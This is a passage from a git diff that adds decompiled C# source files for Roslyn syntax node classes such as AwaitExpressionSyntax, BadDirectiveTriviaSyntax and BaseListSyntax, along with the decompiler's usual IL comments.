(SyntaxNode?)(object)expression; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitAwaitExpression(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitAwaitExpression(this); + } + + public AwaitExpressionSyntax Update(SyntaxToken awaitKeyword, ExpressionSyntax expression) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + if (awaitKeyword != AwaitKeyword || expression != Expression) + { + AwaitExpressionSyntax awaitExpressionSyntax = SyntaxFactory.AwaitExpression(awaitKeyword, expression); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return awaitExpressionSyntax; + } + return awaitExpressionSyntax.WithAnnotations(annotations); + } + return this; + } + + public AwaitExpressionSyntax WithAwaitKeyword(SyntaxToken awaitKeyword) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return Update(awaitKeyword, Expression); + } + + public AwaitExpressionSyntax WithExpression(ExpressionSyntax expression) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return Update(AwaitKeyword, expression); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/BadDirectiveTriviaSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/BadDirectiveTriviaSyntax.cs new file mode 100644 index 0000000..9cfdf87 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/BadDirectiveTriviaSyntax.cs @@ -0,0 +1,107 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class BadDirectiveTriviaSyntax : DirectiveTriviaSyntax +{ + public override SyntaxToken HashToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.BadDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).hashToken, ((SyntaxNode)this).Position, 0); + + public SyntaxToken Identifier => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.BadDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).identifier, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + + public override SyntaxToken EndOfDirectiveToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.BadDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).endOfDirectiveToken, ((SyntaxNode)this).GetChildPosition(2), ((SyntaxNode)this).GetChildIndex(2)); + + public override bool IsActive => ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.BadDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).IsActive; + + internal BadDirectiveTriviaSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return null; + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return null; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitBadDirectiveTrivia(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitBadDirectiveTrivia(this); + } + + public BadDirectiveTriviaSyntax Update(SyntaxToken hashToken, SyntaxToken identifier, SyntaxToken endOfDirectiveToken, bool isActive) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + if (hashToken != HashToken || identifier != Identifier || endOfDirectiveToken != EndOfDirectiveToken) + { + BadDirectiveTriviaSyntax badDirectiveTriviaSyntax = SyntaxFactory.BadDirectiveTrivia(hashToken, identifier, endOfDirectiveToken, isActive); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return badDirectiveTriviaSyntax; + } + return badDirectiveTriviaSyntax.WithAnnotations(annotations); + } + return this; + } + + internal override DirectiveTriviaSyntax WithHashTokenCore(SyntaxToken hashToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithHashToken(hashToken); + } + + public new BadDirectiveTriviaSyntax WithHashToken(SyntaxToken hashToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(hashToken, Identifier, EndOfDirectiveToken, IsActive); + } + + public BadDirectiveTriviaSyntax WithIdentifier(SyntaxToken identifier) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(HashToken, identifier, EndOfDirectiveToken, IsActive); + } + + internal override DirectiveTriviaSyntax WithEndOfDirectiveTokenCore(SyntaxToken endOfDirectiveToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithEndOfDirectiveToken(endOfDirectiveToken); + } + + public new BadDirectiveTriviaSyntax WithEndOfDirectiveToken(SyntaxToken endOfDirectiveToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + return Update(HashToken, Identifier, endOfDirectiveToken, IsActive); + } + + public BadDirectiveTriviaSyntax WithIsActive(bool isActive) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + return Update(HashToken, Identifier, EndOfDirectiveToken, isActive); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/BaseArgumentListSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/BaseArgumentListSyntax.cs new file mode 100644 index 0000000..2c18bec --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/BaseArgumentListSyntax.cs @@ -0,0 +1,28 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public abstract class BaseArgumentListSyntax : CSharpSyntaxNode +{ + public abstract SeparatedSyntaxList Arguments { get; } + + internal BaseArgumentListSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base((GreenNode)(object)green, parent, position) + { + } + + public BaseArgumentListSyntax WithArguments(SeparatedSyntaxList arguments) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithArgumentsCore(arguments); + } + + internal abstract BaseArgumentListSyntax WithArgumentsCore(SeparatedSyntaxList arguments); + + public BaseArgumentListSyntax AddArguments(params ArgumentSyntax[] items) + { + return AddArgumentsCore(items); + } + + internal abstract BaseArgumentListSyntax AddArgumentsCore(params ArgumentSyntax[] items); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/BaseCrefParameterListSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/BaseCrefParameterListSyntax.cs new file mode 100644 index 0000000..a9a80dd --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/BaseCrefParameterListSyntax.cs @@ -0,0 +1,28 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public abstract class BaseCrefParameterListSyntax : CSharpSyntaxNode +{ + public abstract SeparatedSyntaxList Parameters { get; } + + internal BaseCrefParameterListSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base((GreenNode)(object)green, parent, position) + { + } + + public BaseCrefParameterListSyntax WithParameters(SeparatedSyntaxList parameters) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithParametersCore(parameters); + } + + internal abstract BaseCrefParameterListSyntax WithParametersCore(SeparatedSyntaxList parameters); + + public BaseCrefParameterListSyntax AddParameters(params CrefParameterSyntax[] items) + { + return AddParametersCore(items); + } + + internal abstract BaseCrefParameterListSyntax AddParametersCore(params CrefParameterSyntax[] items); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/BaseExpressionColonSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/BaseExpressionColonSyntax.cs new file mode 100644 index 0000000..abab221 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/BaseExpressionColonSyntax.cs @@ -0,0 +1,30 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public abstract class BaseExpressionColonSyntax : CSharpSyntaxNode +{ + public abstract ExpressionSyntax Expression { get; } + + public abstract SyntaxToken ColonToken { get; } + + internal BaseExpressionColonSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base((GreenNode)(object)green, parent, position) + { + } + + public BaseExpressionColonSyntax WithExpression(ExpressionSyntax expression) + { + return WithExpressionCore(expression); + } + + internal abstract BaseExpressionColonSyntax WithExpressionCore(ExpressionSyntax expression); + + public BaseExpressionColonSyntax WithColonToken(SyntaxToken colonToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithColonTokenCore(colonToken); + } + + internal abstract BaseExpressionColonSyntax WithColonTokenCore(SyntaxToken colonToken); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/BaseExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/BaseExpressionSyntax.cs new file mode 100644 index 0000000..f47ec21 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/BaseExpressionSyntax.cs @@ -0,0 +1,57 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class BaseExpressionSyntax : InstanceExpressionSyntax +{ + public SyntaxToken Token => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.BaseExpressionSyntax)(object)((SyntaxNode)this).Green).token, ((SyntaxNode)this).Position, 0); + + internal BaseExpressionSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return null; + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return null; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitBaseExpression(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitBaseExpression(this); + } + + public BaseExpressionSyntax Update(SyntaxToken token) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + if (token != Token) + { + BaseExpressionSyntax baseExpressionSyntax = SyntaxFactory.BaseExpression(token); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return baseExpressionSyntax; + } + return baseExpressionSyntax.WithAnnotations(annotations); + } + return this; + } + + public BaseExpressionSyntax WithToken(SyntaxToken token) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return Update(token); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/BaseFieldDeclarationSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/BaseFieldDeclarationSyntax.cs new file mode 100644 index 0000000..6931b2f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/BaseFieldDeclarationSyntax.cs @@ -0,0 +1,63 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public abstract class BaseFieldDeclarationSyntax : MemberDeclarationSyntax +{ + public abstract override SyntaxList AttributeLists { get; } + + public abstract override SyntaxTokenList Modifiers { get; } + + public abstract VariableDeclarationSyntax Declaration { get; } + + public abstract SyntaxToken SemicolonToken { get; } + + internal BaseFieldDeclarationSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + public BaseFieldDeclarationSyntax WithDeclaration(VariableDeclarationSyntax declaration) + { + return WithDeclarationCore(declaration); + } + + internal abstract BaseFieldDeclarationSyntax WithDeclarationCore(VariableDeclarationSyntax declaration); + + public BaseFieldDeclarationSyntax AddDeclarationVariables(params VariableDeclaratorSyntax[] items) + { + return AddDeclarationVariablesCore(items); + } + + internal abstract BaseFieldDeclarationSyntax AddDeclarationVariablesCore(params VariableDeclaratorSyntax[] items); + + public BaseFieldDeclarationSyntax WithSemicolonToken(SyntaxToken semicolonToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithSemicolonTokenCore(semicolonToken); + } + + internal abstract BaseFieldDeclarationSyntax WithSemicolonTokenCore(SyntaxToken semicolonToken); + + public new BaseFieldDeclarationSyntax WithAttributeLists(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return (BaseFieldDeclarationSyntax)WithAttributeListsCore(attributeLists); + } + + public new BaseFieldDeclarationSyntax WithModifiers(SyntaxTokenList modifiers) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return (BaseFieldDeclarationSyntax)WithModifiersCore(modifiers); + } + + public new BaseFieldDeclarationSyntax AddAttributeLists(params AttributeListSyntax[] items) + { + return (BaseFieldDeclarationSyntax)AddAttributeListsCore(items); + } + + public new BaseFieldDeclarationSyntax AddModifiers(params SyntaxToken[] items) + { + return (BaseFieldDeclarationSyntax)AddModifiersCore(items); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/BaseListSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/BaseListSyntax.cs new file mode 100644 index 0000000..32d22a6 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/BaseListSyntax.cs @@ -0,0 +1,103 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class BaseListSyntax : CSharpSyntaxNode +{ + private SyntaxNode? types; + + public SyntaxToken ColonToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.BaseListSyntax)(object)((SyntaxNode)this).Green).colonToken, ((SyntaxNode)this).Position, 0); + + public SeparatedSyntaxList Types + { + get + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + SyntaxNode red = ((SyntaxNode)this).GetRed(ref types, 1); + if (red == null) + { + return default(SeparatedSyntaxList); + } + return new SeparatedSyntaxList(red, ((SyntaxNode)this).GetChildIndex(1)); + } + } + + internal BaseListSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base((GreenNode)(object)green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + if (index != 1) + { + return null; + } + return ((SyntaxNode)this).GetRed(ref types, 1); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + if (index != 1) + { + return null; + } + return types; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitBaseList(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitBaseList(this); + } + + public BaseListSyntax Update(SyntaxToken colonToken, SeparatedSyntaxList types) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + if (colonToken != ColonToken || types != Types) + { + BaseListSyntax baseListSyntax = SyntaxFactory.BaseList(colonToken, types); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return baseListSyntax; + } + return baseListSyntax.WithAnnotations(annotations); + } + return this; + } + + public BaseListSyntax WithColonToken(SyntaxToken colonToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + return Update(colonToken, Types); + } + + public BaseListSyntax WithTypes(SeparatedSyntaxList types) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return Update(ColonToken, types); + } + + public BaseListSyntax AddTypes(params BaseTypeSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithTypes(Types.AddRange((IEnumerable)items)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/BaseMethodDeclarationSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/BaseMethodDeclarationSyntax.cs new file mode 100644 index 0000000..fc4fff3 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/BaseMethodDeclarationSyntax.cs @@ -0,0 +1,95 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public abstract class BaseMethodDeclarationSyntax : MemberDeclarationSyntax +{ + public abstract override SyntaxList AttributeLists { get; } + + public abstract override SyntaxTokenList Modifiers { get; } + + public abstract ParameterListSyntax ParameterList { get; } + + public abstract BlockSyntax? Body { get; } + + public abstract ArrowExpressionClauseSyntax? ExpressionBody { get; } + + public abstract SyntaxToken SemicolonToken { get; } + + internal BaseMethodDeclarationSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + public BaseMethodDeclarationSyntax WithParameterList(ParameterListSyntax parameterList) + { + return WithParameterListCore(parameterList); + } + + internal abstract BaseMethodDeclarationSyntax WithParameterListCore(ParameterListSyntax parameterList); + + public BaseMethodDeclarationSyntax AddParameterListParameters(params ParameterSyntax[] items) + { + return AddParameterListParametersCore(items); + } + + internal abstract BaseMethodDeclarationSyntax AddParameterListParametersCore(params ParameterSyntax[] items); + + public BaseMethodDeclarationSyntax WithBody(BlockSyntax? body) + { + return WithBodyCore(body); + } + + internal abstract BaseMethodDeclarationSyntax WithBodyCore(BlockSyntax? body); + + public BaseMethodDeclarationSyntax AddBodyAttributeLists(params AttributeListSyntax[] items) + { + return AddBodyAttributeListsCore(items); + } + + internal abstract BaseMethodDeclarationSyntax AddBodyAttributeListsCore(params AttributeListSyntax[] items); + + public BaseMethodDeclarationSyntax AddBodyStatements(params StatementSyntax[] items) + { + return AddBodyStatementsCore(items); + } + + internal abstract BaseMethodDeclarationSyntax AddBodyStatementsCore(params StatementSyntax[] items); + + public BaseMethodDeclarationSyntax WithExpressionBody(ArrowExpressionClauseSyntax? expressionBody) + { + return WithExpressionBodyCore(expressionBody); + } + + internal abstract BaseMethodDeclarationSyntax WithExpressionBodyCore(ArrowExpressionClauseSyntax? expressionBody); + + public BaseMethodDeclarationSyntax WithSemicolonToken(SyntaxToken semicolonToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithSemicolonTokenCore(semicolonToken); + } + + internal abstract BaseMethodDeclarationSyntax WithSemicolonTokenCore(SyntaxToken semicolonToken); + + public new BaseMethodDeclarationSyntax WithAttributeLists(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return (BaseMethodDeclarationSyntax)WithAttributeListsCore(attributeLists); + } + + public new BaseMethodDeclarationSyntax WithModifiers(SyntaxTokenList modifiers) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return (BaseMethodDeclarationSyntax)WithModifiersCore(modifiers); + } + + public new BaseMethodDeclarationSyntax AddAttributeLists(params AttributeListSyntax[] items) + { + return (BaseMethodDeclarationSyntax)AddAttributeListsCore(items); + } + + public new BaseMethodDeclarationSyntax AddModifiers(params SyntaxToken[] items) + { + return (BaseMethodDeclarationSyntax)AddModifiersCore(items); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/BaseNamespaceDeclarationSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/BaseNamespaceDeclarationSyntax.cs new file mode 100644 index 0000000..1cec380 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/BaseNamespaceDeclarationSyntax.cs @@ -0,0 +1,103 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public abstract class BaseNamespaceDeclarationSyntax : MemberDeclarationSyntax +{ + public abstract SyntaxToken NamespaceKeyword { get; } + + public abstract NameSyntax Name { get; } + + public abstract SyntaxList Externs { get; } + + public abstract SyntaxList Usings { get; } + + public abstract SyntaxList Members { get; } + + internal BaseNamespaceDeclarationSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + public BaseNamespaceDeclarationSyntax WithNamespaceKeyword(SyntaxToken namespaceKeyword) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithNamespaceKeywordCore(namespaceKeyword); + } + + internal abstract BaseNamespaceDeclarationSyntax WithNamespaceKeywordCore(SyntaxToken namespaceKeyword); + + public BaseNamespaceDeclarationSyntax WithName(NameSyntax name) + { + return WithNameCore(name); + } + + internal abstract BaseNamespaceDeclarationSyntax WithNameCore(NameSyntax name); + + public BaseNamespaceDeclarationSyntax WithExterns(SyntaxList externs) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithExternsCore(externs); + } + + internal abstract BaseNamespaceDeclarationSyntax WithExternsCore(SyntaxList externs); + + public BaseNamespaceDeclarationSyntax AddExterns(params ExternAliasDirectiveSyntax[] items) + { + return AddExternsCore(items); + } + + internal abstract BaseNamespaceDeclarationSyntax AddExternsCore(params ExternAliasDirectiveSyntax[] items); + + public BaseNamespaceDeclarationSyntax WithUsings(SyntaxList usings) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithUsingsCore(usings); + } + + internal abstract BaseNamespaceDeclarationSyntax WithUsingsCore(SyntaxList usings); + + public BaseNamespaceDeclarationSyntax AddUsings(params UsingDirectiveSyntax[] items) + { + return AddUsingsCore(items); + } + + internal abstract BaseNamespaceDeclarationSyntax AddUsingsCore(params UsingDirectiveSyntax[] items); + + public BaseNamespaceDeclarationSyntax WithMembers(SyntaxList members) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithMembersCore(members); + } + + internal abstract BaseNamespaceDeclarationSyntax WithMembersCore(SyntaxList members); + + public BaseNamespaceDeclarationSyntax AddMembers(params MemberDeclarationSyntax[] items) + { + return AddMembersCore(items); + } + + internal abstract BaseNamespaceDeclarationSyntax AddMembersCore(params MemberDeclarationSyntax[] items); + + public new BaseNamespaceDeclarationSyntax WithAttributeLists(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return (BaseNamespaceDeclarationSyntax)WithAttributeListsCore(attributeLists); + } + + public new BaseNamespaceDeclarationSyntax WithModifiers(SyntaxTokenList modifiers) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return (BaseNamespaceDeclarationSyntax)WithModifiersCore(modifiers); + } + + public new BaseNamespaceDeclarationSyntax AddAttributeLists(params AttributeListSyntax[] items) + { + return (BaseNamespaceDeclarationSyntax)AddAttributeListsCore(items); + } + + public new BaseNamespaceDeclarationSyntax AddModifiers(params SyntaxToken[] items) + { + return (BaseNamespaceDeclarationSyntax)AddModifiersCore(items); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/BaseObjectCreationExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/BaseObjectCreationExpressionSyntax.cs new file mode 100644 index 0000000..659856c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/BaseObjectCreationExpressionSyntax.cs @@ -0,0 +1,46 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public abstract class BaseObjectCreationExpressionSyntax : ExpressionSyntax +{ + public abstract SyntaxToken NewKeyword { get; } + + public abstract ArgumentListSyntax? ArgumentList { get; } + + public abstract InitializerExpressionSyntax? Initializer { get; } + + internal BaseObjectCreationExpressionSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + public BaseObjectCreationExpressionSyntax WithNewKeyword(SyntaxToken newKeyword) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithNewKeywordCore(newKeyword); + } + + internal abstract BaseObjectCreationExpressionSyntax WithNewKeywordCore(SyntaxToken newKeyword); + + public BaseObjectCreationExpressionSyntax WithArgumentList(ArgumentListSyntax? argumentList) + { + return WithArgumentListCore(argumentList); + } + + internal abstract BaseObjectCreationExpressionSyntax WithArgumentListCore(ArgumentListSyntax? argumentList); + + public BaseObjectCreationExpressionSyntax AddArgumentListArguments(params ArgumentSyntax[] items) + { + return AddArgumentListArgumentsCore(items); + } + + internal abstract BaseObjectCreationExpressionSyntax AddArgumentListArgumentsCore(params ArgumentSyntax[] items); + + public BaseObjectCreationExpressionSyntax WithInitializer(InitializerExpressionSyntax? initializer) + { + return WithInitializerCore(initializer); + } + + internal abstract BaseObjectCreationExpressionSyntax WithInitializerCore(InitializerExpressionSyntax? initializer); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/BaseParameterListSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/BaseParameterListSyntax.cs new file mode 100644 index 0000000..7a09234 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/BaseParameterListSyntax.cs @@ -0,0 +1,28 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public abstract class BaseParameterListSyntax : CSharpSyntaxNode +{ + public abstract SeparatedSyntaxList Parameters { get; } + + internal BaseParameterListSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base((GreenNode)(object)green, parent, position) + { + } + + public BaseParameterListSyntax WithParameters(SeparatedSyntaxList parameters) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithParametersCore(parameters); + } + + internal abstract BaseParameterListSyntax WithParametersCore(SeparatedSyntaxList parameters); + + public BaseParameterListSyntax AddParameters(params ParameterSyntax[] items) + { + return AddParametersCore(items); + } + + internal abstract BaseParameterListSyntax AddParametersCore(params ParameterSyntax[] items); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/BaseParameterSyntax.cs 